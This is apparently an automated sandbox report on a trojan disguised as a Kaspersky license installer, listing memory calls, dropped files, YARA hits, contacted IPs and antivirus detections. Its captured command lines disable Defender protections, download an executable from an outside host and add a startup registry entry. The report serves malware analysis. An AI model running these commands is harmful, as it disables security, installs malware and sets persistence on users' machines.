NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e31000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e31000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e2e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002512000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002514000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00044000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00132000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00045000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00180000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00033000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00046000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00133000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0003a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00181000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Nov. 5, 2021, 9:07 a.m.	process_identifier: 2848 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002517000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\8C03.tmp\8C14.tmp\8C15.bat
file	C:\Users\test22\AppData\Local\Temp\Setup.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (9 events)

cmdline	powershell Set-MpPreference -SubmitSamplesConsent 2
cmdline	"C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\8C03.tmp\8C14.tmp\8C15.bat C:\Users\test22\AppData\Local\Temp\Setup.exe"
cmdline	powershell Start-Process C:\Cookies\VLC\Codecs\KLiteCodecs\klite.exe
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo/C:\Users\test22\AppData\Local\Temp"
cmdline	powershell Add-MpPreference -ExclusionPath C:
cmdline	powershell Invoke-WebRequest https://www.learn-3d.net/dat.zip -OutFile C:\Cookies\VLC\Codecs\KLiteCodecs\klite.exe
cmdline	powershell New-Item -Path 'C:\Cookies\VLC\Codecs\KLiteCodecs' -ItemType Directory
cmdline	powershell Set-MpPreference -ExclusionExtension "cmd"
cmdline	powershell Set-MpPreference -ExclusionExtension "exe"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\Setup.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Nov. 5, 2021, 9:07 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd parameters: /c "C:\Users\test22\AppData\Local\Temp\8C03.tmp\8C14.tmp\8C15.bat C:\Users\test22\AppData\Local\Temp\Setup.exe" filepath: C:\Windows\System32\cmd	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (6 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Nov. 5, 2021, 9:07 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 5, 2021, 9:07 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 5, 2021, 9:07 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 5, 2021, 9:08 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 5, 2021, 9:08 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 5, 2021, 9:08 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "VLC" /t REG_SZ /d "\"C:\Cookies\VLC\Codecs\KLiteCodecs\CodecsUpdater.vbs""
cmdline	"C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\8C03.tmp\8C14.tmp\8C15.bat C:\Users\test22\AppData\Local\Temp\Setup.exe"
cmdline	C:\Windows\System32\cmd /c "C:\Users\test22\AppData\Local\Temp\8C03.tmp\8C14.tmp\8C15.bat C:\Users\test22\AppData\Local\Temp\Setup.exe"

Communicates with host for which no DNS query was performed (15 events)

host	103.155.92.29
host	149.28.253.196
host	162.0.210.44
host	186.2.171.3
host	193.56.146.36
host	194.163.158.120
host	208.95.112.1
host	212.192.241.15
host	45.136.151.102
host	45.142.182.152
host	52.219.156.18
host	52.219.66.30
host	77.88.55.50
host	77.88.55.66
host	88.99.66.31

Creates an Alternate Data Stream (ADS) (1 event)

file	C:\Users\test22\AppData\Local\Temp\goto:eof

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VLC

reg_value

"C:\Cookies\VLC\Codecs\KLiteCodecs\CodecsUpdater.vbs"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2524 resumed a thread in remote process 2588
NtResumeThread Nov. 5, 2021, 9:07 a.m.	thread_handle: 0x00000000000001f4 suspend_count: 1 process_identifier: 2588	1	0	0

File has been identified by 40 AntiVirus engines on VirusTotal as malicious (40 events)

Lionic	Trojan.Win32.Agent.4!c
DrWeb	Trojan.MulDrop18.46796
MicroWorld-eScan	Trojan.GenericKD.47308897
McAfee	Artemis!F3DC4B8F6BA0
Cylance	Unsafe
K7AntiVirus	Riskware ( 0040eff71 )
Alibaba	Trojan:Win32/Generic.eb3492b5
K7GW	Riskware ( 0040eff71 )
Cybereason	malicious.f6ba04
Arcabit	Trojan.Generic.D2D1E061
Cyren	W64/Bulz.BB.gen!Eldorado
Symantec	Trojan.Gen.2
APEX	Malicious
Paloalto	generic.ml
Kaspersky	Trojan.Win32.Agent.xakngz
BitDefender	Trojan.GenericKD.47308897
Avast	Win64:Malware-gen
Ad-Aware	Trojan.GenericKD.47308897
Sophos	Mal/Generic-S
McAfee-GW-Edition	BehavesLike.Win32.Generic.gc
FireEye	Generic.mg.f3dc4b8f6ba049c3
Emsisoft	Trojan.GenericKD.47308897 (B)
Ikarus	Trojan.PowerShell.Agent
Antiy-AVL	Trojan/Generic.ASMalwS.2BDE656
Kingsoft	Win32.Troj.Undef.(kcloud)
Gridinsoft	Trojan.Win32.CoinMiner.vb!s5
Microsoft	Trojan:Win32/Wacatac.B!ml
ViRobot	Trojan.Win32.Z.Agent.463484
GData	Trojan.GenericKD.47308897
Cynet	Malicious (score: 100)
ALYac	Trojan.GenericKD.47308897
MAX	malware (ai score=81)
VBA32	TrojanPSW.Win64.Banker
Malwarebytes	Trojan.Dropper
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_68%
Fortinet	W64/CoinMiner.526230!tr
AVG	Win64:Malware-gen
CrowdStrike	win/malicious_confidence_60% (W)
MaxSecure	Trojan.Malware.300983.susgen

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (4 events)

dead_host	192.168.56.103:49362
dead_host	192.168.56.103:49352
dead_host	162.0.210.44:443
dead_host	88.99.66.31:443

Kaspersky-2-Years-License-Setup.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All